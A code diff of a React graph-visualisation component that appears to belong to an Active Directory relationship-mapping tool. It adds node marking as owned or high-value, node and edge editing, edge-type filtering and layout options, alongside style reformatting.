+                content: "\uf54c",
+                fillColor: "black",
+                fontScale: 2.0,
+                fontStyle: "900"
+            })
         }else{
+            let newglyphs = [];
+            $.each(node.glyphs, (_, glyph) => {
+                if (glyph.position !== "top-left"){
+                    newglyphs.push(glyph)
+                }
+            })
+            node.glyphs = newglyphs;
+            node.notowned = true;
+            node.owned = false;
+        }
+
+        instance.renderers[0].glyphs();
+        instance.refresh();
+
+        let q = driver.session();
+        q.run(`MATCH (n:${node.type} {name:{node}}) SET n.owned={status}`, {node: node.label, status: status}).then(x => {
+            q.close();
+        })
+    }
+
+    setHighVal(id, status){
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        let instance = this.state.sigmaInstance;
+        let node = instance.graph.nodes(id);
+        node.highvalue = status;
+        if (status){
+            node.glyphs.push({
+                position: "top-right",
+                font: '"Font Awesome 5 Free"',
+                content: "\uf3a5",
+                fillColor: "black",
+                fontScale: 1.5,
+                fontStyle: "900"
+            })
+        }else{
+            let newglyphs = [];
+            $.each(node.glyphs, (_, glyph) => {
+                if (glyph.position !== "top-right"){
+                    newglyphs.push(glyph)
+                }
+            })
+            node.glyphs = newglyphs;
+        }
+
+        let key = node.type === "OU" ? "guid" : "name";
+        let keyVal = node.type === "OU" ? node.guid : node.label;
+        instance.renderers[0].glyphs();
+        instance.refresh();
+
+        let q = driver.session();
+        
+        q.run(`MATCH (n:${node.type} {${key}:{node}}) SET n.highvalue={status}`, {node: keyVal, status: status}).then(x => {
+            q.close();
+        })
+    }
+
+    addNode(name, type){
+        let q = driver.session();
+        let guid = uuidv4();
+
+        let key = type === "OU" ? "guid" : "name";
+        let varn = type === "OU" ? guid : name;
+        let typevar = `type_${type.toLowerCase()}`;
+
+        let statement = `MERGE (n:${type} {${key}:{name}})`
+        q.run(statement, {name:varn}).then(x => {
+            let instance = this.state.sigmaInstance;
+            let id = generateUniqueId(instance, true);
+            let node = {
+                id: id,
+                label: varn,
+                type: type,
+                x: this.state.tooltipPos.x,
+                y: this.state.tooltipPos.y,
+                folded:{
+                    nodes: [],
+                    edges: []
+                },
+                groupedNode: false,
+                degree: 1
+            }
+            node[typevar] = true;
+            instance.graph.addNode(node);
+            this.applyDesign()
+            q.close();
+        })
+    }
+
+    relayout() {
+        appStore.currentTooltip.close();
+        sigma.layouts.stopForceLink();
+        if (appStore.dagre) {
+            sigma.layouts.dagre.start(this.state.sigmaInstance);
+        } else {
             sigma.layouts.startForceLink();
         }
     }
 
-    export(payload){
-        if (payload === 'image'){
-            var size = $('#graph').outerWidth();
-            sigma.plugins.image(this.state.sigmaInstance,
+    changeLayout(){
+        appStore.dagre = !appStore.dagre;
+        var type = appStore.dagre ? "Hierarchical" : "Directed";
+        emitter.emit("showAlert", "Changed Layout to " + type);
+        this.relayout();
+    }
+
+    deleteNode(id){
+        let instance = this.state.sigmaInstance;
+        let node = instance.graph.nodes(id);
+        let type = node.type;
+        let key = type === "OU" ? 'guid' : 'name';
+        let val = type === "OU" ? node.guid : node.label;
+
+        let statement = "MATCH (n:{} {{}:{key}}) DETACH DELETE n".format(type, key);
+
+        instance.graph.dropNode(node.id);
+        instance.refresh()
+
+        let q = driver.session();
+        q.run(statement, {key:val}).then(x => {q.close()});
+        
+    }
+
+    deleteEdge(id){
+        let instance = this.state.sigmaInstance;
+        let edge = instance.graph.edges(id);
+        let sourcenode = instance.graph.nodes(edge.source);
+        let targetnode = instance.graph.nodes(edge.target);
+
+        let sourcekey = sourcenode.type === "OU" ? 'guid' : 'name';
+        let targetkey = targetnode.type === "OU" ? 'guid' : 'name';
+        
+        let statement = "MATCH (n:{} {{}:{sname}}) MATCH (m:{} {{}:{tname}}) MATCH (n)-[r:{}]->(m) DELETE r".format(sourcenode.type, sourcekey, targetnode.type, targetkey, edge.label);
+
+        instance.graph.dropEdge(edge.id);
+        instance.refresh();
+
+        let q = driver.session();
+        q.run(statement, {sname: sourcenode.label, tname: targetnode.label}).then(x => {q.close()})
+        
+    }
+
+    reload(){
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        this.doQueryNative(this.state.currentQuery);
+    }
+
+    export(payload) {
+        if (payload === "image") {
+            let size = $("#graph").outerWidth();
+            sigma.plugins.image(
+                this.state.sigmaInstance,
                 this.state.sigmaInstance.renderers[0],
                 {
                     download: true,
                     size: size,
-                    background: 'lightgray',
+                    background: "lightgray",
                     clip: true
-              });
-        }else{
-            var json = this.state.sigmaInstance.toJSON({
+                }
+            );
+        } else {
+            let json = this.state.sigmaInstance.toJSON({
                 pretty: true
             });
 
             json = JSON.parse(json);
             json.spotlight = appStore.spotlightData;
 
-            dialog.showSaveDialog({
-                defaultPath: 'graph.json'
-            }, function(loc){
-                fs.writeFile(loc, JSON.stringify(json, null, 2));
-            });
+            dialog.showSaveDialog(
+                {
+                    defaultPath: "graph.json"
+                },
+                function(loc) {
+                    writeFile(loc, JSON.stringify(json, null, 2));
+                }
+            );
         }
     }
 
-    changeNodeLabelMode(){
+    changeNodeLabelMode() {
         let mode = appStore.performance.nodeLabels;
         let instance = this.state.sigmaInstance;
         if (mode === 0) {
-            instance.settings('labelThreshold', 15);
+            instance.settings("labelThreshold", 15);
         } else if (mode === 1) {
-            instance.settings('labelThreshold', 1);
+            instance.settings("labelThreshold", 1);
         } else {
-            instance.settings('labelThreshold', 500);
+            instance.settings("labelThreshold", 500);
         }
-        instance.refresh({ 'skipIndexation': true });
+        instance.refresh({ skipIndexation: true });
         this.setState({
             sigmaInstance: instance
         });
     }
 
-    changeEdgeLabelMode(){
+    changeEdgeLabelMode() {
         let instance = this.state.sigmaInstance;
         let x = instance.camera.x;
         let y = instance.camera.y;
         let ratio = instance.camera.ratio;
         let angle = instance.camera.angle;
-        instance.camera.goTo({x:x,y:y,ratio:ratio,angle:angle});
-        instance.refresh({ 'skipIndexation': true });
+        instance.camera.goTo({ x: x, y: y, ratio: ratio, angle: angle });
+        instance.refresh({ skipIndexation: true });
         this.setState({
             sigmaInstance: instance
         });
     }
 
-    loadFromChildProcess(graph){
-        if (graph.nodes.length === 0){
-                emitter.emit('showAlert', "No data returned from query");
-                emitter.emit('updateLoadingText', "Done!");
-                setTimeout(function(){
-                    emitter.emit('showLoadingIndicator', false);    
-                }, 1500);
-        }else{
-            if (!this.state.firstDraw){
+    loadFromChildProcess(graph) {
+        if (graph.nodes.length === 0) {
+            emitter.emit("showAlert", "No data returned from query");
+            emitter.emit("updateLoadingText", "Done!");
+            setTimeout(function() {
+                emitter.emit("showLoadingIndicator", false);
+            }, 1500);
+        } else {
+            if (!this.state.firstDraw) {
                 appStore.queryStack.push({
                     nodes: this.state.sigmaInstance.graph.nodes(),
                     edges: this.state.sigmaInstance.graph.edges(),
                     spotlight: appStore.spotlightData,
                     startNode: appStore.startNode,
-                    endNode: appStore.endNode
+                    endNode: appStore.endNode,
+                    params: this.state.currentQuery
                 });
             }
-            $.each(graph.nodes, function(i, node){
-                if (node.start){
+            $.each(graph.nodes, function(i, node) {
+                if (node.start) {
                     appStore.startNode = node;
                 }
 
-                if (node.end){
+                if (node.end) {
                     appStore.endNode = node;
                 }
 
@@ -230,316 +432,426 @@ export default class GraphContainer extends Component {
                 });
             });
 
-            this.setState({firstDraw: false});
-            sigma.misc.animation.camera(this.state.sigmaInstance.camera, { x: 0, y: 0, ratio: 1.075 });
+            this.setState({ firstDraw: false });
+            sigma.misc.animation.camera(this.state.sigmaInstance.camera, {
+                x: 0,
+                y: 0,
+                ratio: 1.075
+            });
 
             appStore.spotlightData = graph.spotlight;
             this.state.sigmaInstance.graph.clear();
             this.state.sigmaInstance.graph.read(graph);
             this.applyDesign();
 
-            if (appStore.dagre){
+            if (appStore.dagre) {
                 sigma.layouts.dagre.start(this.state.sigmaInstance);
-            }else{
+            } else {
                 sigma.layouts.startForceLink();
             }
-            emitter.emit('spotlightUpdate');
-        } 
+            emitter.emit("spotlightUpdate");
+        }
     }
 
-    import(payload){
-        fs.readFile(payload, 'utf8', function(err, data){
-            var graph;
-            try{
-                graph = JSON.parse(data);
-            }catch (err){
-                emitter.emit('showAlert', 'Bad JSON File');
-                return;
-            }
+    import(payload) {
+        readFile(
+            payload,
+            "utf8",
+            function(err, data) {
+                var graph;
+                try {
+                    graph = JSON.parse(data);
+                } catch (err) {
+                    emitter.emit("showAlert", "Bad JSON File");
+                    return;
+                }
 
-            if (graph.nodes.length === 0){
-                emitter.emit('showAlert', "No data returned from query");
-            }else{
-                $.each(graph.nodes, function(i, node){
-                    node.glyphs = $.map(node.glyphs, function(value, index) {
-                        return [value];
+                if (graph.nodes.length === 0) {
+                    emitter.emit("showAlert", "No data returned from query");
+                } else {
+                    $.each(graph.nodes, function(i, node) {
+                        node.glyphs = $.map(node.glyphs, function(
+                            value,
+                            index
+                        ) {
+                            return [value];
+                        });
+                    });
+                    appStore.queryStack.push({
+                        nodes: this.state.sigmaInstance.graph.nodes(),
+                        edges: this.state.sigmaInstance.graph.edges(),
+                        spotlight: appStore.spotlightData,
+                        startNode: appStore.startNode,
+                        endNode: appStore.endNode,
+                        params: this.state.currentQuery
                     });
-                });
-                appStore.queryStack.push({
-                    nodes: this.state.sigmaInstance.graph.nodes(),
-                    edges: this.state.sigmaInstance.graph.edges(),
-                    spotlight: appStore.spotlightData,
-                    startNode: appStore.startNode,
-                    endNode: appStore.endNode
-                });
 
-                appStore.spotlightData = graph.spotlight;
-                this.state.sigmaInstance.graph.clear();
-                this.state.sigmaInstance.graph.read(graph);
-                this.state.sigmaInstance.refresh();
-                emitter.emit('spotlightUpdate');
-            }
-            
-        }.bind(this));
+                    appStore.spotlightData = graph.spotlight;
+                    this.state.sigmaInstance.graph.clear();
+                    this.state.sigmaInstance.graph.read(graph);
+                    this.state.sigmaInstance.refresh();
+                    emitter.emit("spotlightUpdate");
+                }
+            }.bind(this)
+        );
     }
 
-    clearGraph(){
+    clearGraph() {
         this.state.sigmaInstance.graph.clear();
         this.state.sigmaInstance.refresh();
     }
 
-    applyDesign(){
+    applyDesign() {
         this.state.design.deprecate();
         this.state.sigmaInstance.refresh();
         this.state.design.apply();
 
-        $.each(this.state.sigmaInstance.graph.edges(), function(index, edge){
-            if (edge.hasOwnProperty('enforced')){
-                if (edge.enforced === false){
-                    edge.type = 'dashed';
+        $.each(this.state.sigmaInstance.graph.edges(), function(index, edge) {
+            if (edge.hasOwnProperty("enforced")) {
+                if (edge.enforced === false) {
+                    edge.type = "dashed";
                 }
             }
         });
 
-        $.each(this.state.sigmaInstance.graph.nodes(), function(index, node){
-            if (node.hasOwnProperty('blocksInheritance')){
-                if (node.blocksInheritance === true){
-                    let targets = [];
-                    $.each(this.state.sigmaInstance.graph.outNeighbors(node.id),function(index, nodeid){
-                        targets.push(parseInt(nodeid));
-                    }.bind(this));
+        $.each(
+            this.state.sigmaInstance.graph.nodes(),
+            function(_, node) {
+                if (node.hasOwnProperty("blocksinheritance")) {
+                    if (node.blocksinheritance === true) {
+                        let targets = [];
+                        $.each(
+                            this.state.sigmaInstance.graph.outNeighbors(
+                                node.id
+                            ),
+                            function(_, nodeid) {
+                                targets.push(parseInt(nodeid));
+                            }.bind(this)
+                        );
 
-                    $.each(this.state.sigmaInstance.graph.adjacentEdges(node.id), function(index, edge){
-                        if (targets.includes(edge.target)){
-                            edge.type = 'dotted';
-                        }
-                    });
+                        $.each(
+                            this.state.sigmaInstance.graph.adjacentEdges(
+                                node.id
+                            ),
+                            function(_, edge) {
+                                if (targets.includes(edge.target)) {
+                                    edge.type = "dotted";
+                                }
+                            }
+                        );
+                    }
                 }
-            }
-        }.bind(this));
+            }.bind(this)
+        );
     }
 
-    setGraphicsMode(){
+    setGraphicsMode() {
         var lowgfx = appStore.performance.lowGraphics;
         var sigmaInstance = this.state.sigmaInstance;
         this.state.design.clear();
-        if (lowgfx){
-            sigmaInstance.settings('defaultEdgeType', 'line');
-            sigmaInstance.settings('defaultEdgeColor', 'black');
+        if (lowgfx) {
+            sigmaInstance.settings("defaultEdgeType", "line");
+            sigmaInstance.settings("defaultEdgeColor", "black");
             this.state.design.setPalette(appStore.lowResPalette);
             this.state.design.setStyles(appStore.lowResStyle);
-        }else{
-            sigmaInstance.settings('defaultEdgeType', 'tapered');
-            sigmaInstance.settings('defaultEdgeColor', '#356');
+        } else {
+            sigmaInstance.settings("defaultEdgeType", "tapered");
+            sigmaInstance.settings("defaultEdgeColor", "#356");
             this.state.design.setPalette(appStore.highResPalette);
             this.state.design.setStyles(appStore.highResStyle);
         }
         this.applyDesign();
     }
 
-    resetZoom(){
+    resetZoom() {
+        sigma.misc.animation.camera(this.state.sigmaInstance.camera, {
+            x: 0,
+            y: 0,
+            ratio: 1.075
+        });
+    }
+
+    zoomOut() {
+        var sigmaInstance = this.state.sigmaInstance;
+        var cam = sigmaInstance.camera;
+
         sigma.misc.animation.camera(
-            this.state.sigmaInstance.camera,
-             { x: 0, y: 0, ratio: 1.075 })
-        ;
+            cam,
+            {
+                ratio: cam.ratio * cam.settings("zoomingRatio")
+            },
+            {
+                duration: sigmaInstance.settings("animationsTime")
+            }
+        );
     }
 
-    zoomOut(){
+    zoomIn() {
         var sigmaInstance = this.state.sigmaInstance;
         var cam = sigmaInstance.camera;
 
-        sigma.misc.animation.camera(cam, {
-            ratio: cam.ratio * cam.settings('zoomingRatio')
-        }, {
-            duration: sigmaInstance.settings('animationsTime')
-        });
-    }
-
-    zoomIn(){
-        var sigmaInstance = this.state.sigmaInstance;
-        var cam = sigmaInstance.camera;
-
-        sigma.misc.animation.camera(cam, 
-        {
-            ratio: cam.ratio / cam.settings('zoomingRatio')
-        }, 
-        {
-            duration: sigmaInstance.settings('animationsTime')
-        });
+        sigma.misc.animation.camera(
+            cam,
+            {
+                ratio: cam.ratio / cam.settings("zoomingRatio")
+            },
+            {
+                duration: sigmaInstance.settings("animationsTime")
+            }
+        );
     }
 
     render() {
         return (
             <div className="graph">
-                <div id="graph" className="graph"></div>
+                <div id="graph" className={this.state.darkMode ? "graph graph-dark" : "graph graph-light"} />
             </div>
         );
     }
 
-    goBack(){
+    goBack() {
         if (appStore.queryStack.length > 0) {
+            this.clearScale();
             if (appStore.currentTooltip !== null) {
                 appStore.currentTooltip.close();
             }
             sigma.layouts.stopForceLink();
 
-            var query = appStore.queryStack.pop();
+            let query = appStore.queryStack.pop();
             this.state.sigmaInstance.graph.clear();
-            this.state.sigmaInstance.graph.read({ nodes: query.nodes, edges: query.edges });
-            this.applyDesign()
+            this.state.sigmaInstance.graph.read({
+                nodes: query.nodes,
+                edges: query.edges
+            });
+            this.setState({currentQuery: query.params})
+            this.applyDesign();
+            this.lockScale();
             appStore.spotlightData = query.spotlight;
-            appStore.startNode = query.startNode,
-            appStore.endNode = query.endNode;
-            emitter.emit('spotlightUpdate');
+            (appStore.startNode = query.startNode),
+                (appStore.endNode = query.endNode);
+            emitter.emit("spotlightUpdate");
         }
     }
 
-    spotlightClickHandler(nodeId, parentId){
-        var sigmaInstance = this.state.sigmaInstance;
-        var parent = sigmaInstance.graph.nodes(nodeId);
-        var label, child;
-        if (typeof parent === 'undefined'){
-            child = sigmaInstance.graph.nodes(parentId).folded.nodes.filter(function(val){
-                return val.id === nodeId;
-            })[0];
+    spotlightClickHandler(nodeId, parentId) {
+        let sigmaInstance = this.state.sigmaInstance;
+        let parent = sigmaInstance.graph.nodes(nodeId);
+        let label, child;
+        if (typeof parent === "undefined") {
+            child = sigmaInstance.graph
+                .nodes(parentId)
+                .folded.nodes.filter(function(val) {
+                    return val.id === nodeId;
+                })[0];
             parent = sigmaInstance.graph.nodes(parentId);
-        }else{
+        } else {
             child = parent;
         }
         label = child.label;
-        if (child.type_user){
-            emitter.emit('userNodeClicked', label);
-        }else if (child.type_group){
-            emitter.emit('groupNodeClicked', label);
-        }else if (child.type_computer){
-            emitter.emit('computerNodeClicked', label);
+        if (child.type_user) {
+            emitter.emit("userNodeClicked", label);
+        } else if (child.type_group) {
+            emitter.emit("groupNodeClicked", label);
+        } else if (child.type_computer) {
+            emitter.emit("computerNodeClicked", label);
         }
         parent.color = "#2DC486";
         sigma.misc.animation.camera(
-            sigmaInstance.camera, {
-                x: parent[sigmaInstance.camera.readPrefix + 'x'],
-                y: parent[sigmaInstance.camera.readPrefix + 'y'],
+            sigmaInstance.camera,
+            {
+                x: parent[sigmaInstance.camera.readPrefix + "x"],
+                y: parent[sigmaInstance.camera.readPrefix + "y"],
                 ratio: 0.5
-            }, { duration: sigmaInstance.settings('animationsTime') }
+            },
+            { duration: sigmaInstance.settings("animationsTime") }
         );
 
-        setTimeout(function(){
+        setTimeout(function() {
             parent.color = "black";
-            sigmaInstance.refresh({skipIndexation: true});
+            sigmaInstance.refresh({ skipIndexation: true });
         }, 2000);
     }
 
-    doQueryNative(params){
-        if (appStore.performance.debug){
-            emitter.emit('setRawQuery',params.statement);
+    doQueryNative(params) {
+        this.clearScale();
+        if (appStore.performance.debug) {
+            emitter.emit("setRawQuery", params.statement);
         }
-        var sigmaInstance = this.state.sigmaInstance;
-        var nodes = {};
-        var edges = {};
-        var session = driver.session();
-        if (typeof params.props === 'undefined'){
+        let nodes = {};
+        let edges = {};
+        let session = driver.session();
+        if (typeof params.props === "undefined") {
             params.props = {};
         }
-        emitter.emit('showLoadingIndicator', true);
-        emitter.emit('updateLoadingText', "Querying Database");
-        emitter.emit('resetSpotlight');
-        session.run(params.statement, params.props)
-            .subscribe({
-                onNext: function(result){
-                    $.each(result._fields, function(index, field){
-                        if (field !== null){
-                            if (field.hasOwnProperty('segments')){
-                                $.each(field.segments,function(index, segment){
-                                    var end = this.createNodeFromRow(segment.end, params);
-                                    var start = this.createNodeFromRow(segment.start, params);
-                                    var edge = this.createEdgeFromRow(segment.relationship);
+        emitter.emit("showLoadingIndicator", true);
+        emitter.emit("updateLoadingText", "Querying Database");
+        emitter.emit("resetSpotlight");
+        this.setState({"currentQuery": params})
 
-                                    if (!edges[edge.id]){
-                                        edges[edge.id] = edge;
-                                    }
+        let edgearr = []
+        let stat = appStore.edgeincluded;
 
-                                    if (!nodes[end.id]){
-                                        nodes[end.id] = end;
-                                    }
+        $.each(Object.keys(stat), function(_, key){
+            if (stat[key]){
+                edgearr.push(key);
+            }
+        })
 
-                                    if (!nodes[start.id]){
-                                        nodes[start.id] = start;
-                                    }
-                                }.bind(this));
-                            }else{
-                                if ($.isArray(field)){
-                                    $.each(field, function(index, value){
-                                        if (value !== null){
-                                            var id = value.identity.low;
-                                            if (value.end && !edges.id){
-                                                edges[id] = this.createEdgeFromRow(value);
-                                            }else if (!nodes.id){
-                                                nodes[id] = this.createNodeFromRow(value, params);
-                                            }
+        if (edgearr.length === 0){
+            emitter.emit("showAlert", "Must specify at least one edge type!");
+            emitter.emit("updateLoadingText", "Done!");
+            setTimeout(function() {
+                emitter.emit("showLoadingIndicator", false);
+            }, 1500);
+            return;
+        }
+
+        let finaledges = edgearr.join('|');
+        let statement = params.statement.format(finaledges)
+        let promises = [];
+        session.run(statement, params.props).subscribe({
+            onNext: async function(result) {
+                $.each( 
+                    result._fields,
+                    function(_, field) {
+                        if (field !== null) {
+                            if (field.hasOwnProperty("segments")) {
+                                $.each(
+                                    field.segments,
+                                    function(_, segment) {
+                                        let end = this.createNodeFromRow(
+                                            segment.end,
+                                            params
+                                        );
+                                        let start = this.createNodeFromRow(
+                                            segment.start,
+                                            params
+                                        );
+                                        let edge = this.createEdgeFromRow(
+                                            segment.relationship
+                                        );
+
+                                        if (!edges[edge.id]) {
+                                            edges[edge.id] = edge;
                                         }
-                                    }.bind(this));
-                                }else{
-                                    var id = field.identity.low;
-                                    if (field.end && !edges.id){
-                                        edges[id] = this.createEdgeFromRow(field);
-                                    }else if (!nodes.id){
-                                        nodes[id] = this.createNodeFromRow(field, params);
+
+                                        if (!nodes[end.id]) {
+                                            nodes[end.id] = end;
+                                        }
+
+                                        if (!nodes[start.id]) {
+                                            nodes[start.id] = start;
+                                        }
+                                    }.bind(this)
+                                );
+                            } else {
+                                if ($.isArray(field)) {
+                                    $.each(
+                                        field,
+                                        function(_, value) {
+                                            if (value !== null) {
+                                                let id = value.identity.low;
+                                                if (value.end && !edges.id) {
+                                                    edges[
+                                                        id
+                                                    ] = this.createEdgeFromRow(
+                                                        value
+                                                    );
+                                                } else if (!nodes.id) {
+                                                    nodes[
+                                                        id
+                                                    ] = this.createNodeFromRow(
+                                                        value,
+                                                        params
+                                                    );
+                                                }
+                                            }
+                                        }.bind(this)
+                                    );
+                                } else {
+                                    let id = field.identity.low;
+                                    if (field.end && !edges.id) {
+                                        edges[id] = this.createEdgeFromRow(
+                                            field
+                                        );
+                                    } else if (!nodes.id) {
+                                        nodes[id] = this.createNodeFromRow(
+                                            field,
+                                            params
+                                        );
                                     }
                                 }
                             }
                         }
-                    }.bind(this));
-                }.bind(this),
-                onError: function(error){
-                    console.log(error);
-                },
-                onCompleted: function(){
-                    var graph = {nodes:[],edges:[]};
-                    $.each(nodes, function(node){
-                        graph.nodes.push(nodes[node]);
-                    });
+                    }.bind(this)
+                );
+            }.bind(this),
+            onError: function(error) {
+                console.log(error);
+            },
+            onCompleted: function() {
+                var graph = { nodes: [], edges: [] };
+                $.each(nodes, function(node) {
+                    graph.nodes.push(nodes[node]);
+                });
 
-                    $.each(edges, function(edge){
-                        graph.edges.push(edges[edge]);
-                    });
-                    emitter.emit('updateLoadingText', "Processing Data");
+                $.each(edges, function(edge) {
+                    graph.edges.push(edges[edge]);
+                });
+                emitter.emit("updateLoadingText", "Processing Data");
 
-                    child.send(JSON.stringify({graph: graph,
-                         edge: params.allowCollapse ? appStore.performance.edge : 0 ,
-                         sibling: params.allowCollapse ? appStore.performance.sibling : 0,
-                         start: params.start,
-                         end: params.end
-                     }));
-                    session.close();
-                }.bind(this)
-            });
+                child.send(
+                    JSON.stringify({
+                        graph: graph,
+                        edge: params.allowCollapse
+                            ? appStore.performance.edge
+                            : 0,
+                        sibling: params.allowCollapse
+                            ? appStore.performance.sibling
+                            : 0,
+                        start: params.start,
+                        end: params.end
+                    })
+                );
+                session.close();
+            }.bind(this)
+        });
     }
 
-    createEdgeFromRow(data){
+    createEdgeFromRow(data) {
         var id = data.identity.low;
         var type = data.type;
         var source = data.start.low;
         var target = data.end.low;
-        
+
         var edge = {
             id: id,
             type: type,
             source: source,
-            target:target,
+            target: target,
             label: type
         };
 
-        if (data.hasOwnProperty('properties') && data.properties.hasOwnProperty('enforced')) {
+        if (
+            data.hasOwnProperty("properties") &&
+            data.properties.hasOwnProperty("enforced")
+        ) {
             edge.enforced = data.properties.enforced;
         }
 
         return edge;
     }
 
-    createNodeFromRow(data, params){
+    createNodeFromRow(data, params) {
         var id = data.identity.low;
         var type = data.labels[0];
         var label = data.properties.name;
+        var guid = data.properties.guid;
+
+        if (label == null) {
+            label = guid;
+        }
+
         var node = {
             id: id,
             type: type,
@@ -554,36 +866,69 @@ export default class GraphContainer extends Component {
             y: Math.random()
         };
 
-        if (data.hasOwnProperty('properties')){
-            if (data.properties.hasOwnProperty('blocksInheritance')) {
-                node.blocksInheritance = data.properties.blocksInheritance;
+        if (data.hasOwnProperty("properties")) {
+            if (data.properties.hasOwnProperty("blocksinheritance")) {
+                node.blocksinheritance = data.properties.blocksinheritance;
             }
 
-            if (data.properties.hasOwnProperty('guid')){
+            if (data.properties.hasOwnProperty("guid")) {
                 node.guid = data.properties.guid;
             }
-        }
-        
 
-        if (label === params.start){
+            if (data.properties.hasOwnProperty("owned")){
+                if (data.properties.owned){
+                    node.owned = true;
+                }else{
+                    node.notowned = true;
+                }
+            }
+
+            node.highvalue = data.properties.highvalue;
+        }
+
+        if (label === params.start) {
             node.start = true;
             node.glyphs.push({
-                'position': 'bottom-right',
-                'font': 'FontAwesome',
-                'content': '\uF21D',
-                'fillColor': '#3399FF',
-                'fontScale': 1.5
+                position: "bottom-right",
+                font: '"Font Awesome 5 Free"',
+                content: "\uF3C5",
+                fillColor: "#3399FF",
+                fontScale: 1.5,
+                fontStyle: "900"
             });
         }
 
-        if (label === params.end){
+        if (label === params.end) {
             node.end = true;
             node.glyphs.push({
-                'position': 'bottom-right',
-                'font': 'FontAwesome',
-                'fillColor': '#990000',
-                'content': '\uF05B',
-                'fontScale': 1.5
+                position: "bottom-right",
+                font: '"Font Awesome 5 Free"',
+                fillColor: "#990000",
+                content: "\uF140",
+                fontScale: 1.5,
+                fontStyle: "900"
+            });
+        }
+
+        if (node.owned){
+            node.glyphs.push({
+                position: "top-left",
+                font: '"Font Awesome 5 Free"',
+                content: "\uf54c",
+                fillColor: "black",
+                fontScale: 2.0,
+                fontStyle: "900"
+            });
+        }
+
+        if (node.highvalue){
+            node.glyphs.push({
+                position: "top-right",
+                font: '"Font Awesome 5 Free"',
+                content: "\uf3a5",
+                fillColor: "black",
+                fontScale: 1.5,
+                fontStyle: "900"
             });
         }
 
@@ -611,7 +956,7 @@ export default class GraphContainer extends Component {
         return node;
     }
 
-    unfoldEdgeNode(id){
+    unfoldEdgeNode(id) {
         var sigmaInstance = this.state.sigmaInstance;
         sigmaInstance.graph.read(sigmaInstance.graph.nodes(id).folded);
         this.state.design.deprecate();
@@ -619,9 +964,12 @@ export default class GraphContainer extends Component {
         this.relayout();
     }
 
-    foldEdgeNode(id){
+    foldEdgeNode(id) {
         var sigmaInstance = this.state.sigmaInstance;
-        $.each(sigmaInstance.graph.nodes(id).folded.nodes, function(index, node){
+        $.each(sigmaInstance.graph.nodes(id).folded.nodes, function(
+            _,
+            node
+        ) {
             sigmaInstance.graph.dropNode(node.id);
         });
         sigmaInstance.refresh();
@@ -630,7 +978,7 @@ export default class GraphContainer extends Component {
         this.relayout();
     }
 
-    ungroupNode(id){
+    ungroupNode(id) {
         var sigmaInstance = this.state.sigmaInstance;
         var node = sigmaInstance.graph.nodes(id);
         sigmaInstance.graph.dropNode(id);
@@ -641,8 +989,8 @@ export default class GraphContainer extends Component {
         this.relayout();
     }
 
-    doSearchQuery(payload, props){
-        if (typeof props === 'undefined'){
+    doSearchQuery(payload, props) {
+        if (typeof props === "undefined") {
             props = {};
         }
         this.doQueryNative({
@@ -652,26 +1000,15 @@ export default class GraphContainer extends Component {
         });
     }
 
-    doPathQuery(start, end){
-        var statement = "MATCH (n {name:{start}}), (m {name:{end}}), p=allShortestPaths((n)-[*]->(m)) RETURN p";
-        var props = {start: start, end: end};
-        this.doQueryNative({
-            statement: statement,
-            allowCollapse: true,
-            props: props,
-            start: start,
-            end: end
-        });
-    }
-
-    doGenericQuery(statement, props, start, end, allowCollapse=true){
+    doGenericQuery(statement, props, start, end, allowCollapse = true) {
         if (appStore.currentTooltip !== null) {
             appStore.currentTooltip.close();
         }
 
-        if (typeof props === 'undefined'){
+        if (typeof props === "undefined") {
             props = {};
         }
+
         this.doQueryNative({
             statement: statement,
             allowCollapse: allowCollapse,
@@ -681,267 +1018,563 @@ export default class GraphContainer extends Component {
         });
     }
 
-    _nodeDragged(){
-        this.setState({dragged:true});
+    _nodeDragged() {
+        this.setState({ dragged: true });
     }
 
-    _nodeClicked(n){
-        if (!this.state.dragged){
-            if (n.data.node.type_user){
-                emitter.emit('userNodeClicked', n.data.node.label);
-            }else if (n.data.node.type_group){
-                emitter.emit('groupNodeClicked', n.data.node.label);
-            }else if (n.data.node.type_computer && (n.data.node.label !== 'Grouped Computers')){
-                emitter.emit('computerNodeClicked', n.data.node.label);
-            }else if (n.data.node.type_domain){
-                emitter.emit('domainNodeClicked', n.data.node.label);
-            }else if (n.data.node.type_gpo){
-                emitter.emit('gpoNodeClicked', n.data.node.label, n.data.node.guid);
-            }else if (n.data.node.type_ou){
-                emitter.emit('ouNodeClicked', n.data.node.label, n.data.node.guid, n.data.node.blocksInheritance);
+    _nodeClicked(n) {
+        if (!this.state.dragged) {
+            if (n.data.node.type_user) {
+                emitter.emit("userNodeClicked", n.data.node.label);
+            } else if (n.data.node.type_group) {
+                emitter.emit("groupNodeClicked", n.data.node.label);
+            } else if (
+                n.data.node.type_computer &&
+                n.data.node.label !== "Grouped Computers"
+            ) {
+                emitter.emit("computerNodeClicked", n.data.node.label);
+            } else if (n.data.node.type_domain) {
+                emitter.emit("domainNodeClicked", n.data.node.label);
+            } else if (n.data.node.type_gpo) {
+                emitter.emit(
+                    "gpoNodeClicked",
+                    n.data.node.label,
+                    n.data.node.guid
+                );
+            } else if (n.data.node.type_ou) {
+                emitter.emit(
+                    "ouNodeClicked",
+                    n.data.node.label,
+                    n.data.node.guid,
+                    n.data.node.blocksinheritance
+                );
             }
-        }else{
-            this.setState({dragged: false});
+        } else {
+            this.setState({ dragged: false });
         }
     }
 
-    initializeSigma(){
-        var sigmaInstance, design;
+    //Function taken from the DragNodes code https://github.com/jacomyal/sigma.js/blob/master/plugins/sigma.plugins.dragNodes/sigma.plugins.dragNodes.js
+    calculateOffset(element) {
+        var style = window.getComputedStyle(element);
+        var getCssProperty = function(prop) {
+          return parseInt(style.getPropertyValue(prop).replace('px', '')) || 0;
+        };
+        return {
+          left: element.getBoundingClientRect().left + getCssProperty('padding-left'),
+          top: element.getBoundingClientRect().top + getCssProperty('padding-top')
+        };
+    };
 
-        sigmaInstance = new sigma(
-            {
-                container: 'graph'
-            }
-        );
+    lockScale(){
+        let graph = this.state.sigmaInstance.graph;
+        graph.initScale = graph.currentScale;
+    }
 
-        sigmaInstance.settings(
-            {
-                edgeColor: 'default',
-                nodeColor: 'default',
-                minEdgeSize: 1,
-                maxEdgeSize: 2.5,
-                iconThreshold: 4,
-                labelThreshold: 15,
-                labelAlignment: 'bottom',
-                labelColor: 'default',
-                font: 'Roboto',
-                glyphFillColor: 'black',
-                glyphTextColor: 'white',
-                glyphTextThreshold: 1,
-                zoomingRatio: 1.4,
-                scalingMode: 'inside'
